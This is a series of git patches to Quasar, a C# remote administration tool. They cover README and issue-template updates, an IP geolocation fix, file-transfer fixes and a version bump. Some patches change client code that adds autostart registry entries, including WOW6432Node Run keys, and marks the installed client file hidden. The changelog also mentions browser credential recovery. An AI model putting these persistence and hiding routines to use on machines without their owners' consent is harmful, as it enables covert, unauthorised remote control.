b/README.md index b1971839d..edb20f15c 100644 --- a/README.md +++ b/README.md @@ -19,8 +19,8 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us ## Features * TCP network stream (IPv4 & IPv6 support) * Fast network serialization (Protocol Buffers) -* Compressed (QuickLZ) & Encrypted (TLS) communication -* UPnP Support +* Encrypted communication (TLS) +* UPnP Support (automatic port forwarding) * Task Manager * File Manager * Startup Manager @@ -42,14 +42,15 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us ## Supported runtimes and operating systems * .NET Framework 4.5.2 or higher * Supported operating systems (32- and 64-bit) + * Windows 11 + * Windows Server 2022 * Windows 10 * Windows Server 2019 * Windows Server 2016 * Windows 8/8.1 * Windows Server 2012 * Windows 7 - * Windows Server 2008 - * Windows Vista + * Windows Server 2008 R2 * For older systems please use [Quasar version 1.3.0](https://github.com/quasar/Quasar/releases/tag/v1.3.0.0) ## Compiling From 912d75a558f84ed67a5a93a935a95f15e9c6adb7 Mon Sep 17 00:00:00 2001 From: gigajew Date: Sat, 18 Feb 2023 19:25:51 -0600 Subject: [PATCH 218/229] Update FrmCertificate.Designer.cs typo --- Quasar.Server/Forms/FrmCertificate.Designer.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Quasar.Server/Forms/FrmCertificate.Designer.cs b/Quasar.Server/Forms/FrmCertificate.Designer.cs index 3abf75156..78e5b0408 100644 --- a/Quasar.Server/Forms/FrmCertificate.Designer.cs +++ b/Quasar.Server/Forms/FrmCertificate.Designer.cs @@ -66,7 +66,7 @@ private void InitializeComponent() this.lblDescription.Name = "lblDescription"; this.lblDescription.Size = new System.Drawing.Size(493, 15); this.lblDescription.TabIndex = 0; - this.lblDescription.Text = "To use Quasar create a new certificate or import an exisiting one from a previous" + + this.lblDescription.Text = "To use Quasar create a new certificate or import an existing one from a previous" + " installation."; // // txtDetails @@ -156,4 +156,4 @@ private void InitializeComponent() private System.Windows.Forms.Label label1; private System.Windows.Forms.Button btnExit; } -} \ No newline at end of file +} From 84f3eb78ffdd01c8a8defe20066e2afbe29d2a47 Mon Sep 17 00:00:00 2001 From: Crims-on <85900366+Crims-on@users.noreply.github.com> Date: Thu, 16 Feb 2023 21:26:19 +0100 Subject: [PATCH 219/229] geo fix --- Quasar.Client/IpGeoLocation/GeoResponse.cs | 87 +++++++--------------- 1 file changed, 25 insertions(+), 62 deletions(-) diff --git a/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar.Client/IpGeoLocation/GeoResponse.cs index 48cc4b296..6fda68491 100644 --- a/Quasar.Client/IpGeoLocation/GeoResponse.cs +++ b/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -1,82 +1,45 @@ -using System.Runtime.Serialization; +using System.Runtime.Serialization; namespace Quasar.Client.IpGeoLocation { [DataContract] public class GeoResponse { - [DataMember(Name ="status")] - public string Status { get; set; } - - [DataMember(Name = "description")] - public string Description { get; set; } - - [DataMember(Name = "data")] - public DataObject Data { get; set; } - } - - [DataContract] - public class DataObject - { - [DataMember(Name = "geo")] - public LocationData Geo { get; set; } - } - - [DataContract] - public class LocationData - { - [DataMember(Name = "host")] - public string Host; - [DataMember(Name = "ip")] - public string Ip; - - [DataMember(Name = "rdns")] - public string Rdns; + public string Ip { get; set; } - [DataMember(Name = "asn")] - public int Asn; - - [DataMember(Name = "isp")] - public string Isp; + [DataMember(Name = "continent_code")] + public string ContinentCode { get; set; } - [DataMember(Name = "country_name")] - public string CountryName; + [DataMember(Name = "country")] + public string Country { get; set; } [DataMember(Name = "country_code")] - public string CountryCode; + public string CountryCode { get; set; } - [DataMember(Name = "region_name")] - public string RegionName; - - [DataMember(Name = "region_code")] - public string RegionCode; - - [DataMember(Name = "city")] - public string City; - - [DataMember(Name = "postal_code")] - public string PostalCode; - - [DataMember(Name = "continent_name")] - public string ContinentName; + [DataMember(Name = "timezone")] + public Time Timezone { get; set; } - [DataMember(Name = "continent_code")] - public string ContinentCode; + [DataMember(Name = "connection")] + public Conn Connection { get; set; } - [DataMember(Name = "latitude")] - public double Latitude; + } - [DataMember(Name = "longitude")] - public double Longitude; - [DataMember(Name = "metro_code")] - public object MetroCode; - [DataMember(Name = "timezone")] - public string Timezone; + [DataContract] + public class Time + { + [DataMember(Name = "utc")] + public string UTC { get; set; } + } + [DataContract] + public class Conn + { + [DataMember(Name = "asn")] + public string ASN { get; set; } - [DataMember(Name = "datetime")] - public string Datetime; + [DataMember(Name = "isp")] + public string ISP { get; set; } } } From f1fc46616581c927971e334fe55955e04d32769f Mon Sep 17 00:00:00 2001 From: Crims-on <85900366+Crims-on@users.noreply.github.com> Date: Thu, 16 Feb 2023 21:26:44 +0100 Subject: [PATCH 220/229] geo fix --- .../IpGeoLocation/GeoInformationRetriever.cs | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs index bb07633ec..bb44f14b1 100644 --- a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs +++ b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -1,4 +1,4 @@ -using Quasar.Client.Helper; +using Quasar.Client.Helper; using System.Globalization; using System.IO; using System.Net; @@ -81,7 +81,7 @@ private GeoInformation TryRetrieveOnline() { try { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://tools.keycdn.com/geo.json"); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/"); request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; request.Proxy = null; request.Timeout = 10000; @@ -94,12 +94,12 @@ private GeoInformation TryRetrieveOnline() GeoInformation g = new GeoInformation { - IpAddress = geoInfo.Data.Geo.Ip, - Country = geoInfo.Data.Geo.CountryName, - CountryCode = geoInfo.Data.Geo.CountryCode, - Timezone = geoInfo.Data.Geo.Timezone, - Asn = geoInfo.Data.Geo.Asn.ToString(), - Isp = geoInfo.Data.Geo.Isp + IpAddress = geoInfo.Ip, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + Timezone = geoInfo.Timezone.UTC, + Asn = geoInfo.Connection.ASN.ToString(), + Isp = geoInfo.Connection.ISP }; return g; From 41a0d4a67ce883bc5dc36c5572b686e321ee781f Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 11 Mar 2023 16:57:49 +0100 Subject: [PATCH 221/229] Update issue templates --- .github/ISSUE_TEMPLATE/bug_report.md | 32 --------- .github/ISSUE_TEMPLATE/bug_report.yaml | 75 +++++++++++++++++++++ .github/ISSUE_TEMPLATE/feature_request.md | 14 ---- .github/ISSUE_TEMPLATE/feature_request.yaml | 22 ++++++ 4 files changed, 97 insertions(+), 46 deletions(-) delete mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/bug_report.yaml delete mode 100644 .github/ISSUE_TEMPLATE/feature_request.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.yaml diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md deleted file mode 100644 index 6049c0fa8..000000000 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -name: Bug report -about: Create a bug report for this project - ---- - -**Describe the bug** -A clear and concise description of what the bug is. - -**To Reproduce** -Steps to reproduce the behavior: -1. Go to '...' -2. Click on '....' -3. Scroll down to '....' -4. See error - -**Expected behavior** -A clear and concise description of what you expected to happen. - -**Screenshots** -If applicable, add screenshots to help explain your problem. - -**System** - - Server OS: [e.g. Windows 10] - - Client OS: [e.g. Windows 7] - - Server installed .NET Framework version: [e.g. v4.8] - - Client installed .NET Framework version: [e.g. v4.8] - - Quasar Version: [e.g. 1.3.0 or commit-id] - - Build configuration: [e.g. Debug/Release] - -**Additional context** -Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/bug_report.yaml b/.github/ISSUE_TEMPLATE/bug_report.yaml new file mode 100644 index 000000000..c4024a964 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -0,0 +1,75 @@ +name: Bug report +description: Create a bug or crash report +labels: ["bug"] +body: + - type: input + attributes: + label: Quasar version + placeholder: 1.4.0 or commit-id + validations: + required: true + - type: input + attributes: + label: Server installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Server operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: input + attributes: + label: Client installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Client operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: dropdown + attributes: + label: Build configuration + options: + - Debug + - Release + - type: textarea + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + attributes: + label: How to reproduce + description: The steps on how to reproduce the bug. + validations: + required: true + - type: textarea + attributes: + label: Expected Behavior + description: Describe the result that you expect to get after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Actual Behavior + description: Describe the actual behavior that you observed after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Additional Context + description: Any other information that may help us fix the issue goes here (e.g. screenshots). + diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md deleted file mode 100644 index 81e6b0683..000000000 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -name: Feature request -about: Suggest an idea for this project - ---- - -**Is your feature request related to a problem? Please describe.** -A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] - -**Describe the solution you'd like** -A clear and concise description of what you want to happen. - -**Additional context** -Add any other context or screenshots about the feature request here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100644 index 000000000..3a9bc7e79 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,22 @@ +name: Feature request +description: Suggest a new feature +labels: ["enhancement"] +body: + - type: textarea + attributes: + label: Problem description + description: A clear and concise description of what the problem is. + placeholder: Example: "I'm always frustrated when [...]", or "I often need to [...]" + validations: + required: true + - type: textarea + attributes: + label: Proposal + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + attributes: + label: Additional Context + description: Add any other context or screenshots about the feature request here. + From dd62557ceae6e51145fe2b70eb9a27709328ffb0 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 11 Mar 2023 16:58:43 +0100 Subject: [PATCH 222/229] Update issue templates --- .github/ISSUE_TEMPLATE/feature_request.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml index 3a9bc7e79..4bcede04d 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.yaml +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -6,7 +6,8 @@ body: attributes: label: Problem description description: A clear and concise description of what the problem is. - placeholder: Example: "I'm always frustrated when [...]", or "I often need to [...]" + placeholder: | + Example: "I'm always frustrated when [...]", or "I often need to [...]" validations: required: true - type: textarea From fff64149f18cb9f43aee6444819ee3c888b431d9 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 11 Mar 2023 17:00:36 +0100 Subject: [PATCH 223/229] Update issue templates --- .github/ISSUE_TEMPLATE/bug_report.yaml | 8 +++++--- .github/ISSUE_TEMPLATE/feature_request.yaml | 2 +- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.yaml b/.github/ISSUE_TEMPLATE/bug_report.yaml index c4024a964..8163cd201 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.yaml +++ b/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -44,6 +44,8 @@ body: options: - Debug - Release + validations: + required: true - type: textarea attributes: label: Describe the bug @@ -58,18 +60,18 @@ body: required: true - type: textarea attributes: - label: Expected Behavior + label: Expected behavior description: Describe the result that you expect to get after performing the steps. validations: required: true - type: textarea attributes: - label: Actual Behavior + label: Actual behavior description: Describe the actual behavior that you observed after performing the steps. validations: required: true - type: textarea attributes: - label: Additional Context + label: Additional context description: Any other information that may help us fix the issue goes here (e.g. screenshots). diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml index 4bcede04d..e56dad8db 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.yaml +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -18,6 +18,6 @@ body: required: true - type: textarea attributes: - label: Additional Context + label: Additional context description: Add any other context or screenshots about the feature request here. From 374a70fc4d794b2a50d2d4df5157df7b075df9ba Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 12 Mar 2023 16:08:51 +0100 Subject: [PATCH 224/229] Fix up- & download of empty files (Fixes #966) --- Quasar.Server/Messages/FileManagerHandler.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs index e2c82c064..417f1f516 100644 --- a/Quasar.Server/Messages/FileManagerHandler.cs +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -294,7 +294,7 @@ public void BeginUploadFile(string localPath, string remotePath = "") foreach (var chunk in transfer.FileSplit) { transfer.TransferredSize += chunk.Data.Length; - decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2); transfer.Status = $"Uploading...({progress}%)"; OnFileTransferUpdated(transfer); @@ -440,7 +440,7 @@ private void Execute(ISender client, FileTransferChunk message) return; } - decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); transfer.Status = $"Downloading...({progress}%)"; OnFileTransferUpdated(transfer); From 81d225e79802d85d3b4cddd6d8b7458717275e63 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 12 Mar 2023 16:27:03 +0100 Subject: [PATCH 225/229] Add missing WOW64 subsystem autostart locations (Fixes #905) --- .../Messages/StartupManagerHandler.cs | 50 +++++++++++++++++++ Quasar.Common/Enums/StartupType.cs | 4 +- Quasar.Server/Forms/FrmStartupManager.cs | 6 +++ 3 files changed, 59 insertions(+), 1 deletion(-) diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs index 2fb8d2678..91b2d0234 100644 --- a/Quasar.Client/Messages/StartupManagerHandler.cs +++ b/Quasar.Client/Messages/StartupManagerHandler.cs @@ -86,6 +86,28 @@ private void Execute(ISender client, GetStartupItems message) } } } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 }); + } + } + } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); @@ -136,6 +158,20 @@ private void Execute(ISender client, DoStartupItemAdd message) throw new Exception("Could not add value"); } break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; case StartupType.StartMenu: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { @@ -196,6 +232,20 @@ private void Execute(ISender client, DoStartupItemRemove message) throw new Exception("Could not remove value"); } break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; case StartupType.StartMenu: string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); diff --git a/Quasar.Common/Enums/StartupType.cs b/Quasar.Common/Enums/StartupType.cs index 9113ed7cc..983be5e6c 100644 --- a/Quasar.Common/Enums/StartupType.cs +++ b/Quasar.Common/Enums/StartupType.cs @@ -6,6 +6,8 @@ public enum StartupType LocalMachineRunOnce, CurrentUserRun, CurrentUserRunOnce, - StartMenu + StartMenu, + LocalMachineRunX86, + LocalMachineRunOnceX86 } } diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs index 1936de568..905daf7f2 100644 --- a/Quasar.Server/Forms/FrmStartupManager.cs +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -123,6 +123,12 @@ private void AddGroups() lstStartupItems.Groups.Add( new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") {Tag = StartupType.CurrentUserRunOnce}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run") + { Tag = StartupType.LocalMachineRunX86 }); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + { Tag = StartupType.LocalMachineRunOnceX86 }); lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") {Tag = StartupType.StartMenu}); } From 1c7874e7313f79f9b3ff15e87ecbac27fac5297b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 12 Mar 2023 16:53:02 +0100 Subject: [PATCH 226/229] Correctly set attributes on client installation --- Quasar.Client/Setup/ClientInstaller.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs index 54e563694..a6d929c75 100644 --- a/Quasar.Client/Setup/ClientInstaller.cs +++ b/Quasar.Client/Setup/ClientInstaller.cs @@ -16,14 +16,14 @@ public void ApplySettings() if (Settings.STARTUP) { var clientStartup = new ClientStartup(); - clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY); + clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY); } if (Settings.INSTALL && Settings.HIDEFILE) { try { - File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); } catch (Exception ex) { From b824795a4cff988e54842ab6f03c6adcd843e1ab Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 12 Mar 2023 17:04:54 +0100 Subject: [PATCH 227/229] Bump version and update changelog --- CHANGELOG.md | 12 ++++++++++++ Quasar.Client/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Common.Tests/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Common/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Server/Properties/AssemblyInfo.cs | 4 ++-- 5 files changed, 20 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0b731122c..e0871f99c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,17 @@ # Quasar Changelog +## Quasar v1.4.1 [12.03.2023] +* Added missing WOW64 subsystem autostart locations +* Fixed file transfers of files larger than 2 GB +* Fixed file transfers of empty files +* Fixed browser credentials recovery +* Fixed race condition on shutdown +* Fixed IP Geolocation +* Fixed opening remote shell sessions on non-system drives +* Fixed incorrectly set file attributes on client installations +* Fixed sorting of listview columns with numbers +* Updated dependencies + ## Quasar v1.4.0 [05.06.2020] * **Changed target framework to .NET Framework 4.5.2** * **Changed license to MIT** diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs index a86203f3c..a73ba194e 100644 --- a/Quasar.Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs index 80abfd66d..898ec42ca 100644 --- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -16,5 +16,5 @@ [assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index ba6e4d354..0e46494f8 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -33,5 +33,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs index 413dd6abc..b6dc47ad8 100644 --- a/Quasar.Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.4.0")] -[assembly: AssemblyFileVersion("1.4.0")] \ No newline at end of file +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] \ No newline at end of file From bcca6010de2c3cf5780deaaed33d1f44b097d10a Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 12 Mar 2023 17:15:09 +0100 Subject: [PATCH 228/229] Update copyright year --- LICENSE | 2 +- Quasar.Client/Properties/AssemblyInfo.cs | 2 +- Quasar.Common.Tests/Properties/AssemblyInfo.cs | 2 +- Quasar.Common/Properties/AssemblyInfo.cs | 2 +- Quasar.Server/Properties/AssemblyInfo.cs | 2 +- Quasar.Server/Properties/Resources.Designer.cs | 2 +- Quasar.Server/Properties/Resources.resx | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/LICENSE b/LICENSE index 50d220dbd..77a1c0b61 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2020 MaxXor +Copyright (c) 2023 MaxXor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs index a73ba194e..68d5e1d83 100644 --- a/Quasar.Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Client.Tests")] diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs index 898ec42ca..ccdc2efb5 100644 --- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -7,7 +7,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index 0e46494f8..6f846dfbd 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Quasar.Common.Tests")] diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs index b6dc47ad8..1d180d8dd 100644 --- a/Quasar.Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Server.Tests")] diff --git a/Quasar.Server/Properties/Resources.Designer.cs b/Quasar.Server/Properties/Resources.Designer.cs index d0e10dad6..787fbb9db 100644 --- a/Quasar.Server/Properties/Resources.Designer.cs +++ b/Quasar.Server/Properties/Resources.Designer.cs @@ -273,7 +273,7 @@ internal static System.Drawing.Bitmap keyboard_magnify { /// /// Looks up a localized string similar to MIT License /// - ///Copyright (c) 2020 MaxXor + ///Copyright (c) 2023 MaxXor /// ///Permission is hereby granted, free of charge, to any person obtaining a copy ///of this software and associated documentation files (the "Software"), to deal diff --git a/Quasar.Server/Properties/Resources.resx b/Quasar.Server/Properties/Resources.resx index de93dafe3..8363e61e6 100644 --- a/Quasar.Server/Properties/Resources.resx +++ b/Quasar.Server/Properties/Resources.resx @@ -211,7 +211,7 @@ MIT License -Copyright (c) 2020 MaxXor +Copyright (c) 2023 MaxXor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal From 9508779fc0e91afd03775fd3fcc766eb8fb3a393 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 14 Aug 2023 21:33:43 +0200 Subject: [PATCH 229/229] Add link to Getting Started guide to README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index edb20f15c..220663240 100644 --- a/README.md +++ b/README.md @@ -8,6 +8,8 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The usage ranges from user support through day-to-day administrative work to employee monitoring. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. +Please check out the [Getting Started](https://github.com/quasar/Quasar/wiki/Getting-Started) guide. + ## Screenshots ![remote-shell](Images/remote-shell.png)

